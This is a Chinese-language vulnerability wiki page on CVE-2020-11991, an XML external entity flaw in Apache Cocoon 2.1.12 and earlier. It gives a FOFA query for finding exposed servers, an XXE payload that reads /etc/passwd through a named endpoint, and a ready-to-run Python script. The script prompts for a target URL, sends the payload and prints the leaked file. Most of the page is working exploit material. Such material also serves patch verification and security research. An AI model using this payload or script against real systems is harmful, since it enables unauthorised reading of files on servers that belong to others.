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82 lines
3.0 KiB
Markdown
82 lines
3.0 KiB
Markdown
# Apache Cocoon XML注入 CVE-2020-11991
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## 漏洞描述
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9月11日 Apache 软件基金会发布安全公告，修复了 Apache Cocoon xml外部实体注入漏洞（CVE-2020-11991）。
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Apache Cocoon 是一个基于 Spring 框架的围绕分离理念建立的构架，在这种框架下的所有处理都被预先定义好的处理组件线性连接起来，能够将输入和产生的输出按照流水线顺序处理。用户群：Apache Lenya、Daisy CMS、Hippo CMS、Mindquarry等等，Apache Cocoon 通常被作为一个数据抽取、转换、加载工具或者是系统之间传输数据的中转站。CVE-2020-11991 与 StreamGenerator 有关，在使用 StreamGenerator 时，代码将解析用户提供的 xml。攻击者可以使用包括外部系统实体在内的特制 xml 来访问服务器系统上的任何文件。
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## 漏洞影响
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```
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Apache Cocoon <= 2.1.12
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```
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## FOFA
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```
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app="Apache-Cocoon"
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```
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## 漏洞复现
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向**/v2/api/product/manger/getInfo** POST如下内容
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```xml
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<!--?xml version="1.0" ?-->
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<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
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<userInfo>
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<firstName>John</firstName>
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<lastName>&ent;</lastName>
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</userInfo>
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```
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## 漏洞POC
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import requests
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import base64
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import sys
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: Apache Cocoon <= 2.1.12 \033[0m')
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print('+ \033[36m使用格式: python3 CVE-2020-11991 \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/v2/api/product/manger/getInfo"
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data = """
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<!--?xml version="1.0" ?-->
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<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
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<userInfo>
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<firstName>John</firstName>
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<lastName>&ent;</lastName>
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</userInfo>
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"""
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headers = {
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"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-type": "text/xml"
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}
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response = requests.request("POST", url=vuln_url, data=data, headers=headers, timeout=20)
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if "/bin/bash" in response.text:
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print("\033[32m[o] 含有CVE-2020-11991漏洞，响应为{}\033[0m".format(response.text))
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else:
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print("\033[31m[x] 漏洞利用失败 \033[0m")
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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``` |